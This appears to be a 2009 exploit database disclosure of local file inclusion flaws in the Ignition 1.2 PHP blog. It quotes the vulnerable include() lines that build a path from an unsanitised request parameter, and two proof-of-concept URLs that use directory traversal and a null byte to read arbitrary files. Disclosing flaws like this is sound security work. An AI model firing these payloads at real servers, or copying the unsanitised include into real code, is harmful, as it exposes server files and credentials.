Ignition 1.2 - Multiple Local File Inclusions

Author: cOndemned
type: webapps
platform: php
port: 
date_added: 2009-12-19 
date_updated:  
verified: 1 
codes: OSVDB-61226;CVE-2009-4426;OSVDB-61225 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comignition_1.2.zip

Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
disclosed by cOndemned
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
greetz: all friends, SecurityReason team :)


comment.php

	1.	<?php
	2.	session_start();
	3.	require ('settings.php');
	4.	include ('posts/'.$_GET['blog'].'.txt');			# [1]
	5.	?>


view.php

	1.	<?php
	2.	session_start();
	3.	require ('settings.php');
	4.	$blog = $_GET['blog'];
	5.	if (file_exists('posts/'.$_GET['blog'].'.txt')) {
	6.	include ('posts/'.$_GET['blog'].'.txt');			# [2]
	7.	}else{


proof of concept:

	[1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
	[2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00